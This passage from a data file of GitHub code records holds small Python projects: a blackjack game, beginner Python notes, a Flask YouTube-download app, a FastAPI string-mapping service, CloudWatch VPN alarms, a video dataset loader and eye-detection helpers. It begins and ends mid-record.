f'{int(equipment.get_magical_attack())}'.rjust(gap)\n string += f'\\n\\t\\t- Def.: ' + f'{int(equipment.get_defense())}'.rjust(gap)\n string += f'\\n\\t{OPT_C}{index}{END_OPT_C} Select\\n'\n return string, f'confirm{page_name}#{page_num}#{equipment.get_full_id()}'\n","repo_name":"eman1can/CoatiraneAdventures","sub_path":"src/text/screens/character_attributes/change_equip_item.py","file_name":"change_equip_item.py","file_ext":"py","file_size_in_byte":3371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"33657466181","text":"import random\n\nsuits = ('♥','♦','♠','♣')\nranks = ('2','3','4','5','6','7','8','9','10','J','Q','K','A')\nvalues = {'2':2,'3':3,'4':4,'5':5,'6':6,'7':7,'8':8,'9':9,'10':10,'J':10,'Q':10,'K':10,'A':11}\n\nclass Card:\n \n def __init__(self,rank,suit):\n self.rank = rank\n self.suit = suit\n self.value = values[rank]\n \n def __str__(self):\n return f'[{self.rank}{self.suit}]'\n\nclass Deck:\n \n def __init__(self):\n self.deck = []\n for suit in suits:\n for rank in ranks:\n self.deck.append(Card(rank,suit))\n self.deck.append(Card(rank,suit))\n self.deck.append(Card(rank,suit))\n \n def __str__(self):\n my_deck = ''\n for card in self.deck:\n my_deck += card.__str__()\n return my_deck\n \n def shuffle(self):\n random.shuffle(self.deck)\n \n def deal(self):\n single_card = self.deck.pop()\n return single_card \n\nclass Player:\n \n def __init__(self):\n self.name = ''\n self.hand = []\n self.split = []\n self.value = 0\n self.chips = 0\n self.aces = 0\n self.bet = 0\n self.playing = True\n self.playing_hand = True\n \n def __str__(self):\n myhand = ''\n for card in self.hand:\n myhand += card.__str__()\n return f'Name: {self.name}\\nHand: {myhand}\\nValue: {self.value}\\nChips: {self.chips}\\nBet: {self.bet}'\n \n def new_player(self):\n self.name = input('Name: ')\n self.chips = 100\n self.hand = []\n \n def first_deal(self,deck):\n self.hand.append(deck.deal())\n self.hand.append(deck.deal())\n if self.hand[0].rank == 'A':\n self.aces += 1\n if self.hand[1].rank == 'A':\n self.aces += 1\n self.value = self.hand[0].value + self.hand[1].value\n self.adjust_for_aces()\n \n def add_card(self,deck):\n card = deck.deal()\n self.hand.append(card)\n self.value += card.value\n if card.rank == 'A':\n self.aces += 1\n \n def adjust_for_aces(self):\n while self.value > 21 and self.aces > 0:\n self.value -= 10\n self.aces -= 1\n \n def win_bet(self):\n self.chips += self.bet\n \n def lose_bet(self):\n self.chips -= self.bet\n\n#FUNCIONES\n\ndef take_bet(player):\n \n while True:\n try:\n player.bet = int(input(f'{player.name}, you have {player.chips} chips. Place your bet: '))\n except:\n continue\n else:\n if player.bet > player.chips or player.bet < 1:\n print(\"You don't have enough chips.\")\n continue\n else:\n break\n\ndef hit(deck,player):\n \n player.add_card(deck)\n player.adjust_for_aces()\n show_all(player)\n\ndef hit_or_stand(deck,player):\n \n while player.value < 21 and player.playing and player.playing_hand:\n \n if len(player.hand) == 2 and player.chips >= (player.bet * 2):\n show_all(player)\n x = input(f\"\\n{player.name}'s turn\\n'h' for hit, 's' for stand, 'd' for double: \").lower()\n if x == 'h':\n hit(deck,player)\n elif x == 's':\n player.playing = False\n elif x == 'd':\n player.bet += player.bet\n hit(deck,player)\n player.playing = False\n else:\n continue\n \n else:\n show_all(player)\n x = input(f\"\\n{player.name}'s turn\\n'h' for hit, 's' for stand: \").lower()\n if x == 'h':\n hit(deck,player)\n elif x == 's':\n player.playing = False\n else:\n continue\n\ndef show_some(player):\n print('\\n\\n\\n\\n______________________________________________________________________\\n\\nDealer\\n[hidden] ' + player.hand[1].__str__() + '\\n')\n \ndef show_all(player):\n print(f'\\n{player.name}\\nChips: {player.chips}\\nBet: {player.bet}\\nHand:', *player.hand, sep = ' ')\n \ndef show_all_dealer(player):\n print('\\nDealer\\n', *player.hand, sep = ' ')\n\n\n\n#GAMEPLAY\n\nwhile True:\n \n #SET DECK, DEALER AND POSSIBLE PLAYERS\n \n mydeck = Deck()\n mydeck.shuffle()\n\n dealer = Player()\n dealer.name = 'Dealer'\n dealer.chips = float('inf')\n\n player1 = Player()\n player2 = Player()\n player3 = Player()\n \n hand_on = True\n game_on = True\n \n \n #TITULO\n \n print('\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n _________\\n BLACKJACK')\n \n \n #CANTIDAD DE JUGADORES\n \n number_of_players = 1\n players_list = [player1]\n \n while True:\n try:\n number_of_players = int(input('Number of players: (3 max): '))\n if number_of_players > 3 or number_of_players < 1:\n continue\n break\n except:\n continue\n \n #CARGAR NOMBRES DE JUGADORES\n \n if number_of_players == 1:\n players_list = [player1]\n \n if number_of_players == 2:\n players_list = [player1,player2]\n \n if number_of_players == 3:\n players_list = [player1,player2,player3]\n \n for player in players_list:\n player.new_player()\n\n \n\n while game_on:\n \n #PRIMER REPARTIJA\n \n mydeck = Deck()\n mydeck.shuffle()\n\n for player in players_list:\n if player.playing:\n take_bet(player)\n\n for player in players_list:\n if player.playing:\n player.first_deal(mydeck)\n\n dealer.first_deal(mydeck)\n \n \n #DISPLAY BOARD\n \n show_some(dealer)\n \n for player in players_list:\n if player.playing:\n show_all(player)\n \n print('\\n')\n \n #???while hand_on:\n for player in players_list:\n \n if player.playing: \n \n if player.value == 21:\n player.bet *= 1.5 \n player.chips += player.bet\n player.playing_hand = False\n print(f'\\n{player.name} got BLACKJACK! {player.bet} chips earned...')\n \n show_some(dealer) \n hit_or_stand(mydeck,player)\n \n if player.value > 21:\n player.lose_bet()\n player.playing_hand = False\n print(f'\\n{player.name} BUSTS! {player.bet} chips lost...')\n if player.chips == 0:\n print(f'{player.name} run out of chips :(')\n player.playing = False\n \n show_all_dealer(dealer)\n \n while dealer.value < 17:\n dealer.add_card(mydeck)\n show_all_dealer(dealer)\n dealer.adjust_for_aces()\n \n if dealer.value > 21:\n print('\\nDealer BUSTS!')\n for player in players_list:\n if player.playing_hand: \n player.win_bet()\n print(f'\\n{player.name} earns {player.bet} chips!')\n else:\n for player in players_list:\n if player.playing_hand: \n if player.value > dealer.value:\n player.win_bet()\n print(f'\\n{player.name} WINS! {player.bet} chips earned...')\n elif player.value < dealer.value:\n player.lose_bet()\n print(f'\\n{player.name} lost {player.bet} chips...')\n else:\n print(f\"\\n{player.name}: It's a PUSH!\")\n \n \n count = 0\n for player in players_list:\n if player.chips <= 0:\n print(f'{player.name} run out of chips :(')\n players_list.pop(count)\n else:\n player.bet = 0\n player.hand = []\n player.playing = True\n player.playing_hand = True \n player.aces = 0 \n count += 1\n \n if len(players_list) == 0:\n game_on = False\n else:\n dealer.hand = []\n continue\n \n #JUGAR DE NUEVO?\n answer = input('\\n\\n\\nWant to play again? (y/n): ').lower()\n if answer == 'y':\n continue\n else:\n break\n\n","repo_name":"LautaroRk/python-blackjack","sub_path":"blackjack.py","file_name":"blackjack.py","file_ext":"py","file_size_in_byte":8887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"32650171631","text":"# Variables\nday_hours = 24\nweek_days = 7\n\nweek_hours = day_hours * week_days\n\nprint(week_hours)\n\ni = 5\ns = \"10\"\nf = 2.5\n\n# Lists\n# grades = [9.1, 8.8, 7.5]\n\n# list(range(1, 10))\n# [1, 2, 3, 4, 5, 6, 7, 8, 9]\n\n# list(range(1, 10, 2))\n# [1, 3, 5, 7, 9]\n\n# dir(list)\n\nnumbers = [2, 5.8, 9, 4.2, 7.1, 3]\n\nprint (len(numbers))\n\ngrades = [9.1, 8.8, 7.5]\n\nmean = sum(grades) / len(grades)\n\nprint(mean)\n\n\n# Dictionary - mutable\nstudent_grades = {\"Marry\": 9.1, \"Bob\": 8.8, \"John\": 7.5}\n\n# mean = sum(student_grades.values()) / len(student_grades.keys())\nmean = sum(student_grades.values()) / len(student_grades)\n\nprint(mean)\n\n\nstudents = student_grades.keys()\ngrades = student_grades.values()\n\nprint(students)\nprint(grades)\n\n\n# Tupple - tupples are immutable (no append, remove ...)\ntemperatures = (1, 4, 5)\n\n#Lists, strings, and tuples have a positive index system:\n[\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\n# 0 1 2 3 4 5 6\n\n#And a negative index system:\n[\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\n# -7 -6 -5 -4 -3 -2 -1\n\n# In a list, the 2nd, 3rd, and 4th items can be accessed with:\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[1:4]\n# Output: ['Tue', 'Wed', 'Thu']\n\n# First three items of a list:\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[:3]\n# Output:['Mon', 'Tue', 'Wed'] \n\n# Last three items of a list:\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[-3:]\n# Output: ['Fri', 'Sat', 'Sun']\n\n# Everything but the last:\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[:-1] \n# Output: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat'] \n\n# Everything but the last two:\ndays = [\"Mon\", \"Tue\", \"Wed\", \"Thu\", \"Fri\", \"Sat\", \"Sun\"]\ndays[:-2] \n# Output: ['Mon', 'Tue', 'Wed', 'Thu', 'Fri'] \n\n# A single in a dictionary can be accessed using its key:\nphone_numbers = {\"John Smith\":\"+37682929928\",\"Marry Simpsons\":\"+423998200919\"}\nphone_numbers[\"Marry Simpsons\"]\n# Output: '+423998200919'\n\n# DATATYPES CONVERTION\n# From tuple to list:\n# >>> data = (1, 2, 3)\n# >>> list(data)\n# [1, 2, 3]\n\n# From list to tuple:\n# >>> data = [1, 2, 3]\n# >>> tuple(data)\n# (1, 2, 3)\n\n# From list to dictionary:\n# >>> data = [[\"name\", \"John\"], [\"surname\", \"smith\"]]\n# >>> dict(data)\n# {'name': 'John', 'surname': 'smith'}\n\n","repo_name":"zioan/python_basics_reminder","sub_path":"basics.py","file_name":"basics.py","file_ext":"py","file_size_in_byte":2312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43418628900","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Dec 9 21:09:01 2018\n\n@author: Jessica Dozal\n\"\"\"\nimport Filter\n\nclass FilterContainer:\n def __init__(self):\n self.filterList = [\"icmp\", \"tcp\", \"dns\"]\n \n def addFilter(self):\n filterName = \"name\"\n expressionName = \"expression\"\n currFilter = Filter.Filter(filterName, expressionName)\n self.filterList.append(currFilter)\n print(self.filterList)\n\n# FC = FilterContainer()\n# FC.addFilter()\n# FC.addFilter()","repo_name":"jdozal/NTBSG-Team-1","sub_path":"FilterContainer.py","file_name":"FilterContainer.py","file_ext":"py","file_size_in_byte":522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"35015649943","text":"import logging\n\nfrom utility import Utility\n\nLOGGER = logging.getLogger()\n\n\nclass CloudWatchVPN:\n \"\"\"\n Encapsulates Amazon CloudWatch VPN functions.\n \"\"\"\n\n def __init__(self, vpn, cloudwatchclient, default_values):\n ciname = \"\"\n cloudid = vpn[\"VpnConnectionId\"]\n\n name_result = list(\n filter(lambda tag: tag[\"Key\"] == \"Name\", vpn[\"Tags\"]))\n if len(name_result) > 0:\n ciname = name_result[0][\"Value\"]\n\n metric_needed = {}\n for metric_name in default_values:\n metric_needed[metric_name] = default_values[metric_name]\n\n # Call up creation of extracted metrics\n for metric_name in metric_needed:\n if \"DynamicCore\" in metric_needed[metric_name][\"MetricSpecifications\"]:\n getattr(CloudWatchVPN, metric_needed[metric_name][\"MetricSpecifications\"][\"DynamicCore\"])(\n vpn, ciname, cloudid, default_values)\n else:\n alarm_values = Utility.get_default_parameters(\n monitoring_id=metric_name,\n item_id=cloudid,\n default_values=default_values)\n\n Utility.default_core_method(metric_needed[metric_name],\n CloudWatchVPN,\n vpn,\n ciname,\n cloudid,\n alarm_values,\n [{\n \"Name\": \"VpnId\",\n \"Value\": cloudid\n }],\n cloudwatchclient\n )\n","repo_name":"ElmecOSS/CloudHawk","sub_path":"src/cw_services/cw_vpn.py","file_name":"cw_vpn.py","file_ext":"py","file_size_in_byte":1834,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"3"} +{"seq_id":"11736597078","text":"import os\nfrom flask import Flask\nfrom flask import render_template, request, redirect, send_from_directory\nfrom pytube import YouTube\nimport sqlite3\n\napp = Flask(__name__)\n\nCARPETA = os.path.join('uploads') # al path del proyecto le adjunto ‘upload’\napp.config['CARPETA'] = CARPETA\n\n\n# guardar en la configuracion de python la carpeta de las fotos\n\n\n@app.route('/')\ndef index():\n sql = \"SELECT * FROM `main`;\"\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n cursor.execute(sql)\n\n archivos = cursor.fetchall()\n print(archivos)\n\n conn.commit()\n\n return render_template('paginas/index.html', archivos=archivos)\n\n\n@app.route('/create')\ndef create():\n return render_template('paginas/create.html')\n\n\n@app.route(\"/store\", methods=['POST'])\ndef storage():\n _link = request.form['txtLink']\n _audio = request.form['audio']\n\n video = YouTube(str(_link)) # for pytube this is an object\n print(_link)\n sql = \"INSERT INTO `main` (`ID`,`FOTO`,`NOMBRE`,`URL`,`TIPO`) VALUES (NULL, ?, ?, ?, ?);\"\n datos = (video.thumbnail_url, video.title, _link, _audio)\n\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n cursor.execute(sql, datos)\n conn.commit()\n\n return redirect(\"/\")\n\n\n@app.route(\"/destroy/\")\ndef destroy(id):\n sql = \"DELETE FROM `main` WHERE ID=?;\"\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n id = str(id)\n cursor.execute(sql, id)\n try:\n os.remove(os.path.join(app.config['CARPETA'], str(id) + \".mp4\"))\n except FileNotFoundError:\n conn.commit()\n return redirect(\"/\")\n conn.commit()\n return redirect(\"/\")\n\n\n@app.route(\"/edit/\")\ndef edit(id):\n sql = \"SELECT * FROM `main` WHERE ID=?;\"\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n id = str(id)\n cursor.execute(sql, id)\n conn.commit()\n archivos = cursor.fetchall()\n return render_template(\"paginas/edit.html\", archivos=archivos)\n\n\n@app.route(\"/update\", methods=['POST'])\ndef update():\n _nombre = request.form['txtNombre'] # toma los datos txtNombre del form\n _tipo = request.form['audio']\n id = request.form['txtId']\n\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n\n sql = \"UPDATE `main` SET `NOMBRE`=? ,`TIPO`=? WHERE ID=?;\"\n datos = (_nombre, _tipo, id) # crea la sentencia sql\n\n cursor.execute(sql, datos) # ejecuta la sentencia sql\n conn.commit()\n return redirect(\"/\") # y renderiza index.html\n\n\n@app.route('/descargar/', methods=['GET', 'POST'])\ndef descargar(id):\n sql = \"SELECT * FROM `main` WHERE ID=?;\"\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n id = str(id)\n cursor.execute(sql, id)\n conn.commit()\n archivos = cursor.fetchall()\n return render_template(\"paginas/descargar.html\", archivos=archivos)\n\n\n# @app.route(\"/return_file/\")\n# def return_files():\n# return send_from_directory(\"C:/youtube/uploads/\",path=\"300 This is where we hold them.mp4\",as_attachment=True)\n\n\n@app.route(\"/return_file/\")\ndef return_files(id):\n sql = \"SELECT * FROM `main` WHERE `ID`=?;\"\n conn = sqlite3.connect(\"MiBaseDeDatos.sqlite\")\n cursor = conn.cursor()\n id = str(id)\n cursor.execute(sql, id)\n lista_videos = cursor.fetchall()\n\n print(lista_videos)\n video = lista_videos[0]\n\n id_video = video[0]\n # foto_video = video[1]\n # nombre_video = video[2]\n url_video = video[3]\n tipo_video = video[4]\n\n objeto_video = YouTube(url_video)\n\n if tipo_video == \"Mp4\":\n path = objeto_video.streams.filter(progressive=True, file_extension='mp4').order_by(\n 'resolution').desc().first().download(\"uploads\", filename=str(id_video) + \".mp4\")\n else:\n path = (objeto_video.streams.filter(only_audio=True)[0]).download(\"uploads\", filename=str(id_video) + \".mp4\")\n\n print(path)\n\n return send_from_directory(\"uploads\", path=str(id_video) + \".mp4\", as_attachment=True)\n\n\n@app.route(\"/index\")\ndef inicio():\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n","repo_name":"alant7799/pythonProject1","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4154,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16906798517","text":"import time\n\nfrom fastapi import FastAPI, Request, HTTPException, Depends\nfrom sqlmodel import create_engine\nfrom sqlalchemy.engine.base import Engine\n\nfrom src.adapters.responses import MappingResponse, MappingResponseList, HTTPError\nfrom src.service_layer import services\nfrom src.service_layer.unit_of_work import SQLAlchemyUnitOfWork\nfrom src.domain.tfidfmapping import StringNotFound\nfrom src.config import settings\n\n\ntitle = f\"Accurity Automated Mappings API ({settings.DATABASE_TYPE})\"\ndescription = \"\"\"\nAccurity Automated Mappings API is a ML-based tool that generates mapping\ncandidates for either a single input string or set of strings, always using\nthe current/live database data for calculation.\n\"\"\"\n\napp = FastAPI(title=title, description=description, docs_url=\"/\")\n\n\ndef get_engine(database: str) -> Engine:\n return create_engine(url=settings.ACCURITY_PROD_DB_SERVER_URI + \"/\" + database, echo=True)\n\n\n@app.middleware(\"http\")\nasync def add_response_header(request: Request, call_next):\n start_time = time.time()\n response = await call_next(request)\n process_time = time.time() - start_time\n response.headers[\"X-Process-Time\"] = f\"{process_time:,.2f} seconds\"\n return response\n\n\n@app.get('/data-fields/business-terms/one',\n responses={200: {\"model\": MappingResponse}, 404: {\"model\": HTTPError}},\n summary=\"Data fields vs Business terms mapping - ONE\",\n tags=[\"Data fields vs. Business terms\"])\ndef data_fields_business_terms_one(database: str, schema: str, data_field: str,\n engine=Depends(get_engine), ntop: int = 5):\n exec_dict = {\"schema_translate_map\": {\"schema\": schema}}\n try:\n model = services.map_data_fields_business_terms_one(\n data_field=data_field,\n ntop=ntop,\n uow=SQLAlchemyUnitOfWork(engine=engine, exec_dict=exec_dict)\n )\n except StringNotFound as e:\n raise HTTPException(status_code=404, detail=str(e))\n\n return MappingResponse.from_model(input_string=data_field, model=model)\n\n\n@app.get('/data-fields/business-terms/all',\n response_model=MappingResponseList,\n summary=\"Data fields vs Business terms mapping - ALL\",\n tags=[\"Data fields vs. Business terms\"])\ndef data_fields_business_terms_all(database: str, schema: str, engine=Depends(get_engine),\n ntop: int = 5):\n exec_dict = {\"schema_translate_map\": {\"schema\": schema}}\n model = services.map_data_fields_business_terms_all(\n ntop=ntop,\n uow=SQLAlchemyUnitOfWork(engine=engine, exec_dict=exec_dict)\n )\n return MappingResponseList.from_model(model=model)\n\n\n@app.get('/data-structures/entities/one',\n responses={200: {\"model\": MappingResponse}, 404: {\"model\": HTTPError}},\n summary=\"Data structures vs Entities mapping - ONE\",\n tags=[\"Data structures vs. Entities\"])\ndef data_structures_entities_one(database: str, schema: str, data_structure: str,\n engine=Depends(get_engine), ntop: int = 5):\n exec_dict = {\"schema_translate_map\": {\"schema\": schema}}\n try:\n model = services.map_data_structures_entities_one(\n data_structure=data_structure,\n ntop=ntop,\n uow=SQLAlchemyUnitOfWork(engine=engine, exec_dict=exec_dict)\n )\n except StringNotFound as e:\n raise HTTPException(status_code=404, detail=str(e))\n\n return MappingResponse.from_model(input_string=data_structure, model=model)\n\n\n@app.get('/data-structures/entities/all',\n response_model=MappingResponseList,\n summary=\"Data structures vs Entities mapping - ALL\",\n tags=[\"Data structures vs. Entities\"])\ndef data_structures_entities_all(database: str, schema: str, engine=Depends(get_engine),\n ntop: int = 5):\n exec_dict = {\"schema_translate_map\": {\"schema\": schema}}\n model = services.map_data_structures_entities_all(\n ntop=ntop,\n uow=SQLAlchemyUnitOfWork(engine=engine, exec_dict=exec_dict)\n )\n return MappingResponseList.from_model(model=model)\n","repo_name":"mmlynarik/name-matching","sub_path":"src/entrypoints/fastapi.py","file_name":"fastapi.py","file_ext":"py","file_size_in_byte":4111,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30587014266","text":"list = []\nx = int(input(\"Enter No of elements: \"))\nprint(\"Enter\", x, \"Numbers:\")\nfor i in range(x):\n y = int(input())\n list.append(y)\nprint(list)\nz = int(input(\"Enter the element which you want to delete: \"))\nlist.remove(z)\nprint(list)","repo_name":"Dhruvit-Khajanchi/Python_Pro","sub_path":"Pro_43_list_remove.py","file_name":"Pro_43_list_remove.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74840849361","text":"from __future__ import print_function, division\nimport os\nimport torch\nfrom torch.autograd import Variable\nfrom skimage import io\nimport pandas as pd\nimport numpy as np\nfrom torch.utils.data import Dataset\nfrom geotnf.transformation import GeometricTnf\nfrom pythonME.me_handler import MEHandler\n\nclass Dataset3DME(Dataset):\n \n \"\"\"\n \n 3D Motion Vectors dataset\n \n\n Args:\n csv_file (string): Path to the csv file with image names and transformations.\n dataset_path (string): Directory with the images.\n input_size (2-tuple): Size of input images\n crop (float): Cropping factor (from edges before ME)\n \n \"\"\"\n\n def __init__(self, csv_file, dataset_path, input_size=(1080,1920), crop=0.2, use_conf=False):\n\n self.h, self.w = input_size\n self.use_conf = use_conf\n self.pairs = pd.read_csv(csv_file)\n h_cropped = int(self.h - self.h*crop)\n w_cropped = int(self.w - self.w*crop)\n if self.pairs.iloc[0,0].endswith('.npy') or self.pairs.iloc[0,0].endswith('.npz'):\n self.calculate_me = False\n else:\n self.calculate_me = True\n if self.calculate_me:\n self.img_L_names = self.pairs.iloc[:,0]\n self.img_R_names = self.pairs.iloc[:,1]\n self.affine_simple_values = self.pairs.iloc[:, 2:].values.astype('float')\n self.me_handler = MEHandler(h_cropped, w_cropped, loss_metric='colorindependent', runs_to_warm_up=1)\n self.crop = crop\n else:\n self.mv_names = self.pairs.iloc[:,0]\n self.affine_simple_values = self.pairs.iloc[:, 1:].values.astype('float')\n self.dataset_path = dataset_path \n self.grid = np.stack(np.indices((h_cropped, w_cropped), dtype=np.float32)[::-1], axis=0)[..., ::4, ::4]\n\n def __len__(self):\n return len(self.pairs)\n\n def __getitem__(self, idx):\n if self.calculate_me:\n if self.use_conf:\n raise NotImplementedError('Confidence calculating in model has not implemented yet')\n # read images\n image_L = io.imread(os.path.join(self.dataset_path, self.img_L_names[idx]))\n image_R = io.imread(os.path.join(self.dataset_path, self.img_R_names[idx]))\n\n # Calculate Motion Vectors\n mv_L2R, mv_R2L = self.me_handler.calculate_disparity(image_L, image_R)\n \n else:\n # read .npz file with Motion Vectors\n reader = np.load(os.path.join(self.dataset_path, self.mv_names[idx]))\n mv_L2R = reader['l2r']\n mv_R2L = reader['r2l']\n if self.use_conf:\n conf = reader['conf']\n if conf.ndim == 2:\n conf = conf[None, ...]\n\n mv_L2R = torch.Tensor(mv_L2R.astype(np.float32))\n mv_R2L = torch.Tensor(mv_R2L.astype(np.float32))\n grid = torch.Tensor(self.grid)\n affine_simple_values = torch.Tensor(self.affine_simple_values[idx, :].astype(np.float32))\n \n sample = {'mv_L2R': mv_L2R, 'mv_R2L': mv_R2L, 'grid': grid, 'affine_simple_values': affine_simple_values}\n\n if self.use_conf:\n conf = torch.Tensor(conf.astype(np.float32))\n sample['confidence'] = conf\n \n return sample","repo_name":"dean1t/geometry_estimation","sub_path":"data/dataset_3d_me.py","file_name":"dataset_3d_me.py","file_ext":"py","file_size_in_byte":3291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"43734701141","text":"#!/usr/bin/env python\nimport numpy as np\nfrom Tkinter import *\nfrom PIL import Image\nfrom PIL import ImageTk\n\ndef setup_draw(x_res, y_res, mouse_drag_cb, keypress_cb=None):\n tk = Tk()\n tk.geometry('%dx%d+%d+%d' % (x_res, y_res, 0, 0))\n frame = Canvas(tk)\n frame.configure(background='black', highlightthickness=0)\n frame.pack(fill='both', expand=True)\n frame.bind('', mouse_drag_cb)\n if keypress_cb is not None:\n frame.bind_all('', keypress_cb)\n return tk, frame\n\ndef draw_frame(img, tk, frame):\n frame.delete('all')\n # small_frame = cv2.resize(img, (x_res, y_res)).astype(np.uint8)\n\n im = Image.fromarray(img.astype(np.uint8))\n pim = ImageTk.PhotoImage(im)\n frame.create_image(0,0, image=pim, anchor=NW)\n\n tk.update_idletasks()\n tk.update()","repo_name":"MckennaCisler/ros_robo_projmap","sub_path":"src/demos/drawlib.py","file_name":"drawlib.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"41182940316","text":"# Function to detect eyes in a face picture\ndef eyes_recognition(image):\n\n # Prepare image for eyes detection\n color = cv2.imread(image)\n gray = cv2.cvtColor(color, cv2.COLOR_BGR2GRAY)\n\n # Extract landmarks coordinates\n landmarks = extract_face_landmarks(gray)\n\n # Calculate a margin around the eye\n extractmarge = int(len(gray)*0.05)\n\n # Left eye maximal coordinates\n lx1 = landmarks[36][0]\n lx2 = landmarks[39][0]\n ly1 = landmarks[37][1]\n ly2 = landmarks[40][1]\n lefteye = color[ly1 - extractmarge : ly2 + extractmarge, lx1 - extractmarge : lx2 + extractmarge]\n\n # Right eye maximal coordinates\n rx1 = landmarks[42][0]\n rx2 = landmarks[45][0]\n ry1 = landmarks[43][1]\n ry2 = landmarks[46][1]\n righteye = color[ry1 - extractmarge : ry2 + extractmarge, rx1 - extractmarge : rx2 + extractmarge]\n\n # Return eyes images\n return lefteye, righteye\n\n\n# Function to preprocess eye informations extract with eye_detection function before launching the prediction\ndef eye_preprocess(eye):\n\n # Resize your image to fit model entry\n resize = tf.image.resize(\n eye,\n size = (52, 52),\n method = tf.image.ResizeMethod.BILINEAR\n )\n\n # Switch to grayscale\n grayscale = tf.image.rgb_to_grayscale(\n resize\n )\n\n # Normalize your data\n norm = grayscale / 255\n\n # Add one dimension to fit model entry\n final = tf.expand_dims(\n norm, axis = 0\n )\n\n # Return the final image to make your prediction\n return final\n\ndef prediction(lefteye, righteye, model):\n\n class_labels = [\"close\", \"open\"]\n\n # Predict and return predictions\n # For lefteye\n preds_left = model.predict(lefteye)\n pred_left = np.argmax(preds_left, axis = 1)\n # For righteye\n preds_right = model.predict(righteye)\n pred_right = np.argmax(preds_right, axis = 1)\n\n if pred_left == pred_right:\n state = class_labels[pred_left[0]]\n else:\n state = \"wink\"\n\n return state","repo_name":"Yann-VI/Final_Project","sub_path":"API/helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":1873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22817153537","text":"from PIL import Image\nfrom tqdm import tqdm\nimport random\nimport itertools\nimport torch\nimport torchvision as tv\nimport torchvision.transforms.functional as tvf\n\nfrom lvae.paths import known_datasets\n\n\nclass Vimeo90k(torch.utils.data.Dataset):\n def __init__(self, n_frames=3):\n self.root = known_datasets['vimeo-90k']\n self.sequence_dirs = list(tqdm(itertools.chain(*[d.iterdir() for d in self.root.iterdir()])))\n self.sequence_dirs.sort()\n\n self.transform = tv.transforms.Compose([\n tv.transforms.RandomCrop(256),\n tv.transforms.RandomHorizontalFlip(p=0.5),\n ])\n self.n_frames = n_frames\n\n def __len__(self):\n return len(self.sequence_dirs)\n\n def __getitem__(self, index):\n sequence_dir = self.sequence_dirs[index]\n frame_paths = sorted(sequence_dir.rglob('*.*'))\n N = len(frame_paths)\n assert N == 7 # sanity check\n # randomly choose a subset of frames\n satrt_idx = random.randint(0, N - self.n_frames)\n frame_paths = frame_paths[satrt_idx:satrt_idx+self.n_frames]\n if random.random() < 0.5: # randomly reverse time\n frame_paths = frame_paths[::-1]\n\n frames = [tvf.to_tensor(Image.open(fp)) for fp in frame_paths]\n frames = self.transform(torch.stack(frames, dim=0))\n frames = torch.chunk(frames, chunks=self.n_frames, dim=0)\n frames = [f.squeeze_(0) for f in frames]\n\n return frames\n","repo_name":"duanzhiihao/lossy-vae","sub_path":"lvae/datasets/video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":1468,"program_lang":"python","lang":"en","doc_type":"code","stars":33,"dataset":"github-code","pt":"3"} +{"seq_id":"10646073767","text":"import time\nfrom bs4 import BeautifulSoup as bs\n\nfrom rfdmovie.cache.download import DownloadCache\nfrom rfdmovie.config import get_config\nfrom rfdmovie.logger import logger\nfrom . import BaseAPI, HtmlDownloader, HtmlParser, Search, USER_AGENTS\n\n\nclass MovieHeavenAPI(BaseAPI):\n @classmethod\n def read(cls, key_word, num=5):\n \"\"\"\n 从电影天堂读取电影下载信息,并且更新数据库缓存\n :param key_word:\n :param num:\n :return: list(dict)\n 